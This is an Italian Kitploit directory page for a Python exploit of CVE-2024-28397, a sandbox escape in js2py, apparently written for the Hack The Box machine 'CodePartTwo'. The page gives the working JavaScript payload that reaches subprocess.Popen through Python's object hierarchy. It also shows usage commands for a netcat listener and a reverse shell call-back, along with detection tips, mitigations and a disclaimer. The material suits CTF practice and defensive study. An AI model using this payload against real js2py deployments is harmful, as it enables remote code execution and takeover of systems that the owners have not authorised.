Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-28397 — Questo repository contiene un codice di exploit in Python per CVE-2024-28397 pensato per l'uso sulla macchina "CodePartTwo" su Hack The Box (HTB). | Kitploit
Strumenti/GitHubGitHub/naclapor/cve-2024-28397
Analisi delle VulnerabilitàExploitCTFPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

Questo repository contiene un codice di exploit in Python per CVE-2024-28397 pensato per l'uso sulla macchina "CodePartTwo" su Hack The Box (HTB).

Vedi Repository
12121 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-28397 Exploit per l'Escape dalla Sandbox di js2py - (CodePartTwo - HTB)

Un codice exploit in Python per CVE-2024-28397, una vulnerabilità critica in js2py <= 0.74 che consente l'escape dalla sandbox e l'esecuzione remota di codice.

🚨 Dettagli della Vulnerabilità

  • ID CVE: CVE-2024-28397
  • Software Affetto: js2py <= 0.74
  • Gravità: Critica (CVSS 9.8)
  • Tipo: Escape dalla Sandbox / Esecuzione Remota di Codice
  • Data di Scoperta: Febbraio 2024

Descrizione

js2py è una popolare libreria Python per valutare codice JavaScript all'interno di ambienti Python. Questa vulnerabilità consente agli attaccanti di evadere dall'ambiente sandbox di js2py ed eseguire comandi arbitrari di Python/sistema, anche quando js2py.disable_pyimport() è abilitato.

L'exploit sfrutta le capacità di introspezione degli oggetti di Python tramite JavaScript per accedere alla classe subprocess.Popen ed eseguire comandi di sistema.

🎯 Applicazioni Affette

  • Applicazioni web che usano js2py per la valutazione di JavaScript
  • Piattaforme di esecuzione di codice (come editor di codice online)
  • Web scraper che analizzano JavaScript
  • Qualsiasi applicazione che elabora JavaScript non fidato tramite js2py

🚀 Utilizzo

Prerequisiti

root@kitploit:~
pip install requests

Utilizzo Base

root@kitploit:~
# Avvia il listener netcat
nc -lnvp 4444

# Esegui l'exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

Opzioni da Riga di Comando

root@kitploit:~
--target    URL dell'endpoint target (obbligatorio)
--lhost     IP locale per la reverse shell (obbligatorio)
--lport     Porta locale per la reverse shell (predefinita: 4444)

Esempio

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 Come Funziona

  1. Generazione del Payload: Crea un comando reverse shell codificato in base64
  2. Escape dalla Sandbox: Usa JavaScript per accedere alla gerarchia degli oggetti di Python tramite __class__ e __base__
  3. Esecuzione del Processo: Individua subprocess.Popen tramite introspezione
  4. Esecuzione del Comando: Esegue il comando reverse shell usando Popen
  5. Stabilimento della Shell: Si collega di nuovo alla macchina dell'attaccante

Dettagli Tecnici

L'exploit funziona:

  • Accedendo a Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
  • Attraversando la gerarchia degli oggetti di Python usando __subclasses__()
  • Trovando la classe subprocess.Popen
  • Creando un nuovo processo per eseguire la reverse shell

📝 Struttura del Codice Exploit

root@kitploit:~
// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Find subprocess.Popen class
function findpopen(o) {
    // Recursive search through subclasses
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ Rilevamento

Cerca codice JavaScript che contenga:

  • Accesso agli attributi __class__ o ___class___
  • Chiamate al metodo __subclasses__()
  • Riferimenti a subprocess o Popen
  • Payload codificati in base64 con printf e base64 -d

🔒 Mitigazione

  1. Aggiorna js2py: Passa a una versione patchata (> 0.74)
  2. Validazione dell'Input: Sanifica il codice JavaScript prima dell'esecuzione
  3. Sandboxing: Usa una containerizzazione aggiuntiva (Docker, chroot)
  4. Revisione del Codice: Verifica i contesti di esecuzione di JavaScript
  5. Regole WAF: Blocca pattern JavaScript sospetti

⚠️ Disclaimer Legale

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. Gli utenti sono responsabili del rispetto delle leggi e dei regolamenti applicabili. L'accesso non autorizzato a sistemi informatici è illegale.

📚 Riferimenti

  • Rapporto CVE Originale
  • Repository GitHub di js2py
  • Dettagli CVE-2024-28397

📄 Licenza

Questo progetto è concesso in licenza con la MIT License - vedi il file LICENSE per i dettagli.

Scarica lo strumento